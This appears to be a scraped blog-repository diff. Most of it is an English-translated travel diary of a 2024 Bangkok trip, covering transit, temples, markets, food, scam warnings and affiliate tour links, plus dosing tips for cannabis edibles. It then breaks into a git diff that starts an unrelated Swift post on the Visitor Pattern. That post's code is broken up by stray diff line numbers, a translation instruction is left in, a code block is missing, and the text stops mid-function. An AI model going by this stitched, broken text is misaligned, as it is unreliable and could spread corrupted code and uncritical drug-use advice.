👉👉👉You can refer to KKday airport transfer service:

_[- ThailandAirport Private TransferSuvarnabhumi Airport (BKK) / Don Mueang Airport (DMK) - Bangkok/Pattaya/Hua Hin City Hotels](https://www.kkday.com/zh-tw/product/3431-bkk-or-dmk-bangkok-private-transfer?cid=19365){:target=”blank”}
_[- Bangkok Airport TransferBangkok City Private Car to Suvarnabhumi Airport (BKK)/Don Mueang Airport (DMK)](https://www.kkday.com/zh-tw/product/138989?cid=19365){:target=”blank”}

Around 21:00, they started moving to the city and hotel.

Taking public transportation requires three transfers on the subway and BTS:

  1. Airport Rail Link Suvarnabhumi -> Phaya Thai
  2. BTS Sukhumvit Line Phaya Thai -> Siam
  3. BTS Silom Line Siam -> Chong Nonsi

  • Airport Rail Link can only be purchased with tickets
  • BTS Rabbit Card (BTS transit card) can be purchased and recharged at the ticket counter, and used for entry and exit at BTS stations
  • Please note that the Rabbit Card can only be used on BTS, not on MRT or Airport Rail Link

  • Arrived at Chong Nonsi (later found out that this is the station for Mahanakhon Building!)

Walking to JC KEVIN SATHORN BANGKOK HOTEL

When getting off the BTS, don’t rush to the overpass, you can cross the road from the overpass.

I felt it was very dark along the way (not many street lights), and it was quite far to walk (15 mins / 1 KM). It can be quite scary to walk alone at night. Along the way, there is a 7-11 and a small night market. I bought some food at 7-11 to take back to the hotel.

In addition, if you take a taxi, due to the two-way road and U-turn issue, the driver needs to drive a short distance past the hotel to the next gap before making a U-turn back to the hotel, so it’s a bit troublesome.

10:30 JC KEVIN SATHORN BANGKOK HOTEL

Arrived at the hotel around 10:30.

JC KEVIN SATHORN BANGKOK HOTEL

The room is very spacious, it’s a whole apartment-style room with a master bedroom, a guest bedroom, two bathrooms, a kitchen, a living room, and a balcony.

2018 Memories

Taken in 2018 iPhone 6

Taken in 2018 / iPhone 6

It’s a coincidence that during the 2018 company trip to Bangkok, we all took a taxi to the rooftop bar at this hotel in the evening XD

They also offer a Sky Bar dinner package:

2024

2024 iPhone 15 Pro

2024 / iPhone 15 Pro

Since we were staying here this time, after putting down our luggage in the room, we went up to take a look.

As it was already past dinner time, we could only order some appetizers and skewers.

8/03 Day 2 - Wat Pho, Grand Palace, Wat Phra Kaew, Wat Arun, ICONSIAM, Lhao Lhao, Rock Pub Live

Hotel Breakfast

Had breakfast at the hotel in the morning before heading out. The breakfast was okay, but not many choices.

9:30 Departure

Due to the large number of people, we took a Grab (THB 135) directly to Wat Pho.

Photo by [Florian Wehde](https://unsplash.com/@florianwehde?utm_content=creditCopyText&utm_medium=referral&utm_source=unsplash){:target="_blank"}

Photo by Florian Wehde

We passed through Chinatown on the way, forgot to take photos, it had a very cyberpunk feel!

👉👉👉 You can also consider KKday’s: Bangkok Private Day Tour: Wat Pho, Wat Arun, Grand Palace, Wat Phra Kaew Thailand

Wat Pho

Ticket: THB 300/person.

The colorful stupas in Wat Pho have an indescribable grandeur.

Last time I went to see the reclining Buddha at Nanzoin in Kyushu, Japan, this time I came to see the reclining Buddha in Thailand.

⚠️Be cautious of pickpockets in crowded areas⚠️

You need to wear slippers to enter, and you can walk around the reclining Buddha in Wat Pho to pay your respects.

SuperRich Money Exchange

After leaving Wat Pho, we wanted to exchange some money. Only one friend had exchanged some Thai baht in advance, while the rest of us planned to exchange it in Bangkok. So, we first went to the nearby The Old Siam Shopping Plaza to exchange money at SuperRich.

Exchanged NTD $5,000 for THB $5,200

Khanom bueang Thai crispy pancakes

Khanom bueang Thai crispy pancakes

After exchanging money, we had some cash, so we replenished our energy at the food market on the first floor. We tried Thai crispy pancakes (ขนมเบื้อง), which were sweet with meringue inside, very similar to cotton candy, and also had banana pancakes. Finally, we bought a cup of iced coffee and continued our journey.

Grand Palace, Wat Phra Kaew

Ticket: THB 500/person.

👉👉👉KKday offers: Grand Palace and Wat Phra Kaew Guided Tour (English, Thai, Chinese, Japanese) , for those who want to learn more about history.

Walking back to the Grand Palace (Wat Phra Kaew is inside the Grand Palace), you will see many government buildings along the way.

There is a dress code to enter the Grand Palace, so pay special attention!

No shorts, sleeveless shirts, ripped jeans, capri pants, short skirts, etc.

⚠️Be cautious of pickpockets in crowded areas⚠️

Yaksha guardian at the gate

Yaksha guardian at the gate

Yaksha and monkeys

Yaksha and monkeys

Wat Arun

Wat Arun

Ramakien Mural

Ramakien Mural

**Image Source: Trueplookpanya**

Image Source: Trueplookpanya

⚠️No Photography Allowed at the Jade Buddha⚠️

The attire varies with each season, and this time we saw the second type of clothing.

Grand Palace

Grand Palace

13:20 Lunch

Around 13:00, after leaving the Grand Palace, we had lunch at a nearby western restaurant heading towards the pier.

14:00 Getting Ready to Board the Boat to Wat Arun

⚠️Outside the pier, there will be people trying to lure you onto private boats, charging high fees (THB 500, 1000) and not being safe; ignore them and find the official pier and counter to inform them of your destination.

The official fare is only THB 30 (from Tha Chang to Wat Arun), the new boats are air-conditioned, safe, and comfortable.

When the boat arrives, the staff will announce “Wat Arun” (yes, in Chinese), and you can always ask if unsure.

It’s almost time for afternoon thunderstorms, and you can see the water flowing turbulently.

The boat is new, the air conditioning is cool, the enclosed space is safe, and there are frequent trips, making it very convenient!

Upon arrival, the staff will also announce “Wat Arun.”

14:30 Arrival at Wat Arun

Entrance Fee: THB 200

After disembarking, you will reach Wat Arun, where you can directly queue to purchase tickets for entry.

⚠️There is a dress code at Wat Arun⚠️

No sleeveless tops, shorts, exposed midriffs, or short skirts allowed.

You can wear Thai traditional clothing; many people wear Thai attire for photos.

You can walk to the central platform for photos (⚠️Be careful, the stairs are steep), and many people also change into Thai attire for photos here.

👉👉👉 Recommended KKday Experiences:

- Thai Costume Experience with Photo Tour at Wat Arun in Bangkok, Thailand

- Grand Palace and Wat Arun 3-Hour Guided Walking Tour

After visiting, return to the pier and find the ticket booth (PIER 2) to buy a boat ticket to ICONSIAM (THB 40), then board at PIER 1.

Also a comfortable and safe new boat!

15:00 ICONSIAM

ICONSIAM is large and luxurious, the food street on the first floor is very distinctive.

Buy a cup of ChaTraMue Thai milk tea to recharge.

Continue walking to BTS Charoen Nakhon platform, thinking of getting a foot massage for an hour.

There is a newer and larger Thai Garden Massage outside the station (1), but no available seats; fortunately, continue walking to (2) another one as shown in the picture, which I find very comfortable, less crowded, spacious, quiet, and inexpensive (foot/1 hour/THB 270).

After the massage, with renewed energy, continue shopping and return to ICONSIAM; walk upstairs to the restaurant, which is also elaborately decorated with a jungle theme, small bridges, flowing water, and a waterfall, overall very nice!

Bought the famous Japanese TORO FRIES (long queue) to recharge.

They also have Japanese % coffee here.

Heading to LHAO LHAO for dinner

This is a branch line with only three stations and fewer trains.

Google Maps seems to have no information on this BTS line; it suggests walking to Krung Thon Buri.

Take one stop from here to Krung Thon Buri, which is the Silom Line.

There is also LAWSON in Bangkok!

There is also LAWSON in Bangkok!

Change to the Sukhumvit Line at Siam and get off at Ari station, a short walk to LHAO LHAO restaurant.

19:00 LHAO LHAO

Image 1

Image 2

Image 3

Image 4

Image 5

Image 6

The boss seems to be Chinese? It feels like a fusion of Chinese and Thai cuisine, a highly rated old restaurant, and it seems to be a favorite of Blackpink’s LISA.

Because I’m going to The Rock Pub for a live music session later, I had to eat quickly, but I found every dish delicious!

  • Images 1-3, the background of the goose brand cooling jelly, like the minced meat, called หมูสับผัดหนำเลี้ยบ, seems to be minced meat stir-fried with pickled mustard greens, very appetizing!
  • Image 2-1, fried oyster omelette, similar to the bomb oyster omelette at the Shilin Night Market in Taiwan.
  • Image 2-2, seasonal limited drink, longan tea.
  • Image 2-3, the most special curry crab (Panang Curry), made with a whole fresh large crab.

Recommended by Thai people, the goose brand cooling jelly, I later bought a can, it smells smoother than a mint nasal stick and is less irritating to the nasal cavity!

20:00 The Rock Pub

After dinner, head to The Rock Pub for drinks and live music.

Event of the day:

Event

Event Link

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
Rundown:
+
+• 20.00-21.00: A LIKELY LAD
+(Kings Of Leon/Blur/Arcade Fire and more)
+
+• 21.15-22.15: COUNTING DUCKS
+(Radiohead/The Strokes/The Killers and more)
+
+• 22.30-00.00 : THE CHOCOLATE COSMOS
+(Arctic Monkeys/Joy Division/The Cure/The Smiths and more)
+
+• 00.15-01.15: LIAM FT. HENSHIN
+(Oasis and more)
+

Price: THB 350 with one drink, advance ticket reservation required.

Image 7

Image 8

Image 9

Learned a cool fact about Thailand: you can’t take photos of alcohol labels because it might be seen as promoting drinking, so you have to cover the label as shown in image 3.

Four performances, all rock and classic songs!

I’ve heard songs from: Coldplay, Radiohead, Kings of Leon, Arcade Fire, Oasis, The Killers…

The Rock Pub @ Bangkok 2024/08/03

The Rock Pub @ Bangkok 2024/08/03

We left around 23:00 as it was getting late, and the whole performance was very impressive! Whether it was the singing skills or the live performance, I thought it was great! Very talented!

After returning to the hotel to give Chun-Hsiu Liu Taiwan souvenirs, we dispersed and went back to rest.

8/04 Day 3 Chatuchak Market, Wangwon Mahanakhon Building, Central Rama 9

9:30 Breakfast: Wang Chunsheng Beef Hot Pot, Beef Offal Hot Pot

Early in the morning, we took a Grab to have breakfast at Wang Chunsheng Beef Hot Pot. The overall taste was quite Chinese/Taiwanese style, which I thought was good, but the beef soup in Tainan was even better.

After breakfast, we went to Chatuchak Market. Since it was quite far, we didn’t feel like walking and transferring to the BTS, so we took an Uber directly there (THB 374).

👉👉👉 [**_KKday Chatuchak MarketBangkok Private Transfer Service_**](https://www.kkday.com/zh-tw/product/182142?cid=19365){:target=”_blank”}

10:45 Arrived at Chatuchak Market

Chatuchak Market is large with many vendors, but it’s clean and easy to shop around. However, there is a high repetition of items, and it seems like many are selling Made In China products for tourists.

In the end, I only bought a Thai brand, Phutawan indoor diffuser, as a souvenir.

When we got tired from shopping, we went into a massage shop for foot and shoulder/neck massages (1 hour/THB 250).

Restroom

If you need to use the restroom at Chatuchak Market, there are paid restrooms on the outskirts (THB 5 per use). I went in and found it very clean, with one person per stall, and they were constantly being cleaned. If you prefer not to pay for the restroom, you can also go to the Mixt Chatuchak mall on the outskirts, which has free and equally clean restrooms.

Mixt Chatuchak

Seafood Rice

Seafood Rice

Lunch was casually settled at the restaurant in Mixt Chatuchak mall, the taste was good.

After eating, we continued shopping and bought a cup of durian juice to drink, the taste was rich and real, and the price was affordable (THB 89).

Later found that things at Chatuchak were actually cheaper, for example, mint nasal sticks sold here for 6 pieces at $99, while Big C sells 6 pieces for $140… and also durian juice, sold for over $140 at the city night market.

15:00 Take BTS to King Power Mahanakhon Building

Chatuchak is closer to MRT, but the King Power Mahanakhon Building we want to go to is at BTS Chong Nonsi station; it takes about 1 KM (15 mins) to walk from Chatuchak to the nearest BTS Saphan Khwai station.

King Power Mahanakhon Building (Bangkok Grand Kyoto Building/King Power Mahanakhon)

Ticket: THB 1,080/person

👉👉👉 Recommend buying tickets from KKday first, prices are cheaper: Bangkok King Power Mahanakhon SkyWalk Observation Deck Ticket (free cancellation 2 days before)

Upon closer inspection, it is not as tall as imagined, but the architectural style is very unique, with a cyberpunk vibe.

Before entering, there is a security check, and after purchasing the ticket, free luggage storage is provided; backpacks are not allowed to be carried up (small waist bags are allowed).

Before taking the elevator, you can choose whether to take photos (the ticket includes a series of free digital photos, additional charge for physical photos).

_Free synthesized digital photos, there will be staff guiding the download after visiting the elevator_

Free synthesized digital photos, there will be staff guiding the download after visiting the elevator

The direct elevator has a 360-degree panoramic animation like Taipei 101 and Skytree; the height is about the same as Tokyo Tower.

Upon coming up in the elevator, you will first arrive at the indoor observation deck on the 74th floor, where there is a cafe and public seating for a short rest; to continue, take the elevator or stairs up to the 78th floor, which is the rooftop observation deck.

As soon as you arrive on the 78th floor, there is a small bar where you can order a drink and enjoy the view.

After coming out of the 78th floor, you can continue to climb up to the staircase, the rooftop resting area.

From the rooftop, you can overlook the entire Bangkok, and you can imagine that the night view should be beautiful too!

The staircase and rooftop resting area face the famous transparent glass corridor, where you can directly see the ground vertically. You can enter by taking shoe covers from the nearby box, but bringing a mobile phone is prohibited. You can ask your companions or staff for assistance in taking photos.

The entire glass corridor is not very large, about the size of a rooftop infinity pool in a hotel. It doesn’t feel very high when looking from the side, but you might still feel a bit nervous when actually walking up, feeling a bit weak in the knees. XD

JJ Green Night Market (formerly known as Ratchada Train Night Market)

MRT accepts credit card payment

MRT accepts credit card payment.

To get to Central Rama 9, you need to transfer to the MRT underground at Phra Ram 9 Station. Rabbit cards cannot be used; you need to buy tickets or now you can use a VISA card to swipe in and out.

Tested with Taishin GoGo card, not tested with Cathay Cube.

For dinner, come here to find food. I have to say that Bangkok’s night markets and bazaars outshine Taiwan by far. The overall environment is clean, with seating areas, not chaotic, well-planned, and very comfortable to stroll around.

After a stroll, I first had dessert on the left (similar to sponge cake?) and grilled seafood on the right, both with a chewy texture and quite good.

Next up is the highlight, volcano ribs, with a unique taste. The sauce has a lemongrass spicy and sour flavor. Just grab it with your hands and bite directly, very appetizing!

After eating, I bought coconut ice cream + mango + peanut dessert at another stall, also delicious!

After eating, return to Central Rama 9 for a stroll. Here, you can also find the famous NaRaYa Bangkok bags.

On the way back to the hotel, I happened to encounter the post-rain Bangkok with colorful digital advertising screens, the color contrast was maxed out, giving a very cyberpunk vibe.

7-11 Hot Pressed Toast for Supper

On the way back to the hotel, I tried Thailand’s convenience store hot pressed toast and Thailand’s banana milk. The filling was melted cheese hot dog, and the crust was crispy! It was delicious and cheap!

8/05 Day 4 Central World, Big C, Terminal 21

Didn’t sleep well all night + hungover all day, feeling lost.

Central World

Woke up in the morning and went shopping at Central World.

As soon as I entered the first floor, there was SHAKE SHACK burger. I ordered the SHAKE SHACK signature burger and the coconut milkshake unique to Bangkok. The burger was delicious and not greasy, but I found the milkshake too sweet.

The place was huge, just like ICONSIAM. If you want to explore thoroughly, it’s endless… I bought a shirt on a whim.

Big C

After Central World, I went to Big C across the street to buy snacks and souvenirs. (There were many options, but I didn’t find them cheaper…)

Bottom left Phutawan indoor fragrance diffuser was bought at Chatuchak yesterday, but I think department stores in the city also have it.

Bottom left Phutawan indoor fragrance diffuser was bought at Chatuchak yesterday, but I think department stores in the city also have it.

Also, it seems that Big C no longer provides plastic bags, so you have to buy an eco-friendly bag in the store.

The durian chips come in a big pack, but when you open it, there are only two small packs… but they are quite delicious.

Lunch

Outside Central World, there was a food market event at the plaza, not just simple stalls, but with a theme. This time it was Titanic-themed, and you could enter for free by following their official Youtube channel; the interior was also beautifully decorated.

Afternoon: Returned to the hotel for a nap because of lack of sleep and hangover… just too tired

Dinner at Terminal 21 Department Store

Terminal 21 is a place you can never finish exploring. Each floor has a different theme, for example, the Japan section mainly sells Japanese products and restaurants.

The main purpose was to meet up with Chun-Hsiu Liu at the food street upstairs for a meal. ( Highly recommended food spot that is cheap and delicious )

At the food street, you find your own seat, and many locals also come to eat.

⚠️ Regarding payment here, the shops do not accept direct payment. You need to go to the counter first to exchange cash for a food card, then pay with the QR code on the food card; after eating, return to the counter for refund without any deposit or handling fee.

There are many choices, just queue up, state your order number, pay with the food card QR code, and you can also take away (I remember there is an additional THB 10 for packaging).

Ordered seafood stir-fried noodles (THB 50) + pork cutlet with fries (THB 59) = THB 109

After eating, also took away a box of mango sticky rice as a late-night snack back at the hotel.

It’s really delicious and cheap!!! A meal at a restaurant outside would cost at least 200-300, but here it’s mostly THB 50-80 per meal.

After eating, went to Benjakitti Park at the back to walk around and look for the legendary Bangkok giant lizard; maybe because it was night, didn’t see a single one.

⚠️Encountered a scam by foreigners on the way back to the hotel:⚠️

While waiting for the BTS on the platform…

Someone who looked like they were from the Middle East approached

- Asked if you were Thai, if you spoke English, and where you were from

- I said Taiwan

- He immediately responded, Oh… Taiwan, I love Taiwan

But from his pronunciation, I knew he had no idea about Taiwan…

- Then he said he needed to exchange money but SuperRich was closed, and asked me how many Thai baht he could get for a hundred US dollars

I felt something was off, so I just ignored him and walked away…

Their methods are all similar, either asking about your country's currency, showing curiosity, asking to see it, then while you are taking out your wallet, they either pickpocket or snatch your money and run.

Back at the hotel, a friend bought some mangosteen to taste. I found the fresh ones delicious, with a subtle sweetness and the flavor of mangosteen, very palatable. Later, we tried dried mangosteen, and the taste wasn’t as good, just dry and sour.

Regarding durians, durians in Bangkok are not cheaper… They cost around THB 200 - 300 per room.

8/06 Day 5 Return Journey

Bangkok Giant Lizard

In the morning, still curious, I specifically went to Lumphini Park to find the legendary Bangkok giant lizard. Due to time constraints, I only found a medium-sized lizard basking in the sun in the morning.

Looking for the giant lizard was just a personal, boring activity for me. Locals reportedly dislike this type of lizard (water monitor lizard), as they eat dirty things. Do not touch them casually.

12:00 Pick up luggage and head to the airport

The flight at 15:20, we had to leave at noon. It takes about an hour from the city to the airport.

👉👉👉 You can refer to KKday airport transfer service:

_[- ThailandAirport Private TransferSuvarnabhumi Airport (BKK) / Don Mueang Airport (DMK) — Bangkok/Pattaya/Hua Hin City Hotels](https://www.kkday.com/zh-tw/product/3431-bkk-or-dmk-bangkok-private-transfer?cid=19365){:target=”blank”}
_[- Bangkok Airport TransferPrivate Car from Bangkok City to Suvarnabhumi Airport (BKK)/Don Mueang Airport (DMK)](https://www.kkday.com/zh-tw/product/138989?cid=19365){:target=”blank”}

Grab fare from the hotel: THB 577, need to take the expressway; the driver will pay the toll first, and the Grab card fare will be adjusted later with the toll fee. (I remember it was around THB 50)

Checked baggage limit is 15 kg, managed to stay within the limit.

Bangkok’s night gatekeeper.

Departed around 13:20, Bangkok airport security is quite strict, everything needs to go through security check, and almost all carry-on bags need to be manually inspected.

Upon exiting and passing through security, there was about an hour left to grab something to eat; found a Thai restaurant and had the last meal in Thailand (seafood fried rice, mango juice, mango sticky rice).

After exiting, many shops sell take-out boxes for mango sticky rice, so you can buy some to eat on the plane if you’re still hungry!

(⚠️But remember not to bring it back to Taiwan⚠️)

This bottle of water deserves a close-up shot because the budget airline didn’t provide anything, so I thought of buying water at the airport to drink on the plane. However, the mineral water after exiting cost THB 70 - 100 per bottle, and this one was THB 100.

BKK is huge… full of Trip.com advertisements. I arrived on time for the return journey and took the shuttle to catch the flight.

Back to Taiwan

Arrived at TPE Taoyuan International Airport, picked up luggage around 20:45, and went directly to take bus 1841 or 1819 of Kuo-Kuang Motor Transport back to Taipei, very convenient without the need to transfer.

⚠️Safety and Precautions for Traveling in Bangkok, Thailand⚠️

Safety is the most important thing when traveling. Here are some safety and precautionary tips.

Beware of Scams

Eight common scams in Thailand, some people are still falling for them!

The following are summarized from a video by Bangkok Cat, and I actually encountered the money exchange/scam during this trip.

  1. Incorrect bill calculation Always double-check the total amount when ordering.
  2. Initiating conversation to see your country’s currency or asking to exchange money They distract you while you take out your wallet and then steal or snatch it.
  3. Falsely claiming that attractions are closed outside the Grand Palace or other places, and enthusiastically recommending you to take a tuk-tuk to other (Black Temple/Black Shop/ Take a private boat, encountered this at the pier this time ) places to scam you into spending money.
  4. Tuk-tuk drivers, shouting prices sky-high, suddenly increasing the fare halfway through If you want to experience a tuk-tuk ride without being scammed, you can try the new MUVMI app for tuk-tuk booking Even if the tuk-tuk looks good, beware of scam #3, where they recommend you to visit attractions or take a boat.
  5. Fake waitstaff, while waiting in line, fake waitstaff will enthusiastically invite you inside They will introduce the menu in your language, take your order, ask for payment upfront, and then run away with the money.
  6. Motorcycle or scooter rental scams Do not leave your passport as collateral. If they claim damages and demand compensation, it will be troublesome if they have your passport. Look for reputable rental companies and take videos of the vehicle condition before renting.
  7. Scams on local social apps You might meet ladyboys, fortune tellers, or scammers.
  8. Ping pong show scams, enthusiastic promoters on the street will ask if you want to watch a ping pong show, just buy a 100 THB drink, then they will take you to a dark alley or upstairs to a shady place. It’s not worth it, and when you want to leave, they will demand 3,000 THB, claiming there was no 100 THB deal.
  9. Be cautious of pickpockets in crowded places, even in areas where you need to buy tickets to enter (e.g., Grand Palace, Wat Pho).

🌿🚬

It will be banned next year, but here are some experiences to share.

  • ⚠️⚠️⚠️Consuming edibles (like gummies) can be potent, and the scary part is that when you eat them, you might not feel anything at first, but it can hit you suddenly after a few hours⚠️⚠️⚠️
  • It’s best to start with a gradual approach, eat 1/3… wait a few hours… if nothing happens, eat 2/3… wait a few hours… if you feel something, try eating 1 piece…
  • When smoking, also start gradually based on your tolerance.
  • ⚠️⚠️⚠️It’s strongly recommended to try it in your hotel room, so you can rest if needed, which is safer⚠️⚠️⚠️
  • Drinking alcohol doesn’t mean you’re more tolerant.
  • ⚠️⚠️⚠️Your heart rate may increase uncomfortably⚠️⚠️⚠️
  • Have someone awake to take care of you in case of any issues, for safety.
  • Only smoke in specific places.

Others

  • Thailand is not a tipping culture, so generally, you don’t need to tip; I only tip THB 20 for massages as a gesture.
  • Alcohol is only sold from 11:00 to 14:00 and 17:00 to 24:00; it’s prohibited to sell alcohol all day during Buddhist holidays.
  • Not all hotel balconies allow smoking, so be sure to ask.
  • Foreigners can call emergency services in a foreign language at 1155.
  • SuperRich has operating hours, so if you arrive too early or too late, you won’t be able to exchange money.

Appendix - 2018 Digital Technology Bangkok Huaxin 5-Day Employee Trip

Recalling some itineraries for reference, details are not available.

Digital Technology 2018 Employee Trip

Digital Technology 2018 Employee Trip

_⚠️The following are all photos and records from 2018, for reference only⚠️

_⚠️The following are all photos and records from 2018, for reference only⚠️

_⚠️The following are all photos and records from 2018, for reference only⚠️

Day1

Moai Cafe, Easter Island Moai Statue Cafe (Closed)

A colleague (2024) also mentioned that Bangkok has many trendy cafes, which are quite extravagant. If interested, you can check them out. This cafe had low ratings and has closed down.

Dinner - Chom View Seafood, Seaview Seafood Restaurant

2 Nights Stay - SHERATON HUA HIN RESORT & SPA Huaxin Sheraton

Source: SHERATON HUA HIN RESORT & SPA

Source: SHERATON HUA HIN RESORT & SPA

Only took a few photos of the hotel, one of which was a surprising photo of a millipede found in the bed upon waking up in the morning.

Day 2

Santorini Park (Closed)

Seems to be a small amusement park and shopping mall with Greek-style scenery.

Hua Hin Artist Village

A quite famous attraction, still in operation in 2024.

There are many paintings and artworks.

Enjoy the facilities and beach at the Sheraton Hotel.

Hotel is in villa style, each one is standalone, the swimming pool can surround every room in the hotel, there is a bar next to the pool; the outside beach is undeveloped, a desolate area.

After dinner, go to the nearby night market.

Day 3

Maeklong Railway Market

It was too early, everyone gave up and didn’t go.

Damnoen Saduak Floating Market

👉👉👉 These two attractions are not easily accessible by public transportation, you can refer to the KKday itinerary:

**_- [Bangkok Classic Day TourMaeklong Railway and Damnoen Saduak Floating Market | Depart from Bangkok](https://www.kkday.com/zh-tw/product/9912-maeklong-railway-damnoen-saduak-floating-market-day-tour-from-bangkok?cid=19365){:target=”blank”}**
**_[- [Thailand] Bangkok Half-Day Private Car TourMaeklong Railway Market — Amphawa Floating Market — Amphawa Firefly Night Cruise](https://www.kkday.com/zh-tw/product/21751-maeklong-railway-market-and-amphawa-floating-market-with-firefly-night-cruise-bangkok-thailand?cid=19365){:target=”blank”}**

It was quite exciting and adventurous, even though the water was murky and had a smell.

Head to Bangkok for a 2-day stay at Marriott Queens Park Bangkok

HEALTH LAND 2-hour full-body Thai massage

The guide specifically told the shop not to step on the back, only remembered it was very high-end, but it hurts and can’t sleep while being massaged XD

River City Shopping Complex

Because I have to go to the Chao Phraya Princess River Cruise for a buffet dinner tonight, I first went shopping at the department store near the pier.

Chao Phraya Princess River Cruise Buffet Dinner

👉👉👉 Advance reservation is required, you can refer to KKday’s Chao Phraya Princess River Cruise with Dinner Buffet Thailand.

The food was decent, but the night view was beautiful, you could see the lights of the Bangkok Riverside Night Market Ferris Wheel.

After returning to the hotel, I went to the bar upstairs at the Marriott for a drink, I only remember the beautiful night view and cheap drinks.

Day 4 Free Time

I remember going to the department store, Big C, and Central World.

In the evening, went to Zoom Sky Bar at Anantara Sathorn Bangkok Hotel for a drink

This is the hotel I stayed at this time XD

Day 5 Return

This is the memory of the 2018 employee trip. This time I revisited Bangkok on a fully independent trip, which made me more familiar with this city. Compared to my previous impression, I feel that it is more prosperous, the food is better, and the prices are higher.

— — —

Feel free to contact me for any questions or feedback.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

iOS Temporary Workaround for Black Launch Screen Bug After Several Launches

Practical Application Record of Design Patterns—In WKWebView with Builder, Strategy & Chain of Responsibility Pattern

diff --git a/posts/ba5773a7bfea/index.html b/posts/ba5773a7bfea/index.html new file mode 100644 index 0000000000..ec8a31fd5c --- /dev/null +++ b/posts/ba5773a7bfea/index.html @@ -0,0 +1,303 @@ + Visitor Pattern in iOS (Swift) | ZhgChgLi
Home Visitor Pattern in iOS (Swift)
Post
Cancel

Visitor Pattern in iOS (Swift)

Visitor Pattern in Swift (Share Object to XXX Example)

Analysis of the practical application scenarios of the Visitor Pattern (sharing items like products, songs, articles… to Facebook, Line, Linkedin, etc.)

Photo by [Daniel McCullough](https://unsplash.com/@d_mccullough?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Daniel McCullough

Introduction

From knowing about the existence of “Design Patterns” to now, it has been over 10 years, and I still can’t confidently say that I have mastered them completely. I have always been somewhat confused, and I have gone through all the patterns several times from start to finish, but if I don’t internalize them and apply them in practice, I quickly forget.

I am truly useless.

Internal Strength and Techniques

I once saw a very good analogy: the techniques part, such as PHP, Laravel, iOS, Swift, SwiftUI, etc., are relatively easy to switch between for learning, but the internal strength part, such as algorithms, data structures, design patterns, etc., are considered internal strength. There is a complementary effect between internal strength and techniques. Techniques are easy to learn, but internal strength is difficult to cultivate. Someone with excellent techniques may not have excellent internal strength, while someone with excellent internal strength can quickly learn techniques. Therefore, rather than saying they complement each other, it is better to say that internal strength is the foundation, and techniques complement it to achieve great success.

Find Your Suitable Learning Method

Based on my previous learning experiences, I believe that the learning method of Design Patterns that suits me best is to focus on mastering a few patterns first, internalize and flexibly apply them, develop a sense of judgment to determine which scenarios are suitable and which are not, and then gradually accumulate new patterns until mastering all of them. I think the best way is to find practical scenarios to learn from applications.

Learning Resources

I recommend two free learning resources:

Visitor — Behavioral Patterns

The first chapter documents the Visitor Pattern, which is one of the gold mines I dug up during my year at StreetVoice, where Visitor was widely used to solve architectural problems in the StreetVoice App. I also grasped the essence of Visitor during this experience, so let’s start with it in the first chapter!

What is Visitor

First, please understand what Visitor is? What problems does it solve? What is its structure?

Image from [refactoringguru](https://refactoringguru.cn/design-patterns/visitor){:target="_blank"}

The image is from refactoringguru.

The detailed content is not repeated here. Please refer directly to refactoringguru’s explanation of Visitor first.

Practical iOS Scenario - Sharing Feature

Assuming today we have the following models: UserModel, SongModel, PlaylistModel. Now we need to implement a sharing feature that can share to: Facebook, Line, Instagram, these three platforms. The sharing message to be displayed for each model is different, and each platform requires different data:

The combination scenario is as shown in the above image. The first table shows the customized content of each model, and the second table shows the data required by each sharing platform.

Especially when sharing a Playlist on Instagram, multiple images are required, which is different from the source required for other sharing platforms.

Define Models

First, define the properties of each model:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+
// Model
+struct UserModel {
+    let id: String
+    let name: String
+    let profileImageURLString: String
+}
+
+struct SongModel {
+    let id: String
+    let name: String
+    let user: UserModel
+    let coverImageURLString: String
+}
+
+struct PlaylistModel {
+    let id: String
+    let name: String
+    let user: UserModel
+    let songs: [SongModel]
+    let coverImageURLString: String
+}
+
+// Data
+
+let user = UserModel(id: "1", name: "Avicii", profileImageURLString: "https://zhgchg.li/profile/1.png")
+
+let song = SongModel(id: "1",
+                     name: "Wake me up",
+                     user: user,
+                     coverImageURLString: "https://zhgchg.li/cover/1.png")
+
+let playlist = PlaylistModel(id: "1",
+                            name: "Avicii Tribute Concert",
+                            user: user,
+                            songs: [
+                                song,
+                                SongModel(id: "2", name: "Waiting for love", user: UserModel(id: "1", name: "Avicii", profileImageURLString: "https://zhgchg.li/profile/1.png"), coverImageURLString: "https://zhgchg.li/cover/3.png"),
+                                SongModel(id: "3", name: "Lonely Together", user: UserModel(id: "1", name: "Avicii", profileImageURLString: "https://zhgchg.li/profile/1.png"), coverImageURLString: "https://zhgchg.li/cover/1.png"),
+                                SongModel(id: "4", name: "Heaven", user: UserModel(id: "1", name: "Avicii", profileImageURLString: "https://zhgchg.li/profile/1.png"), coverImageURLString: "https://zhgchg.li/cover/4.png"),
+                                SongModel(id: "5", name: "S.O.S", user: UserModel(id: "1", name: "Avicii", profileImageURLString: "https://zhgchg.li/profile/1.png"), coverImageURLString: "https://zhgchg.li/cover/5.png")],
+                            coverImageURLString: "https://zhgchg.li/playlist/1.png")
+

Doing Nothing Approach

Do not translate the content as it is already in English.

We have extracted a CanShare Protocol, any Model that follows this protocol can support sharing; the sharing part is also abstracted into ShareManagerProtocol. Implementing the protocol content for new sharing will not affect other ShareManagers.

However, getShareImageURLStrings is still strange. Additionally, assuming that the data for the Model requirements of a newly added sharing platform are vastly different, such as WeChat sharing requiring playback counts, creation dates, etc., and only it needs them, things will start to get messy.

Visitor

Solution using the Visitor Pattern.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+
// Visitor Version
+protocol Shareable {
+    func accept(visitor: SharePolicy)
+}
+
+extension UserModel: Shareable {
+    func accept(visitor: SharePolicy) {
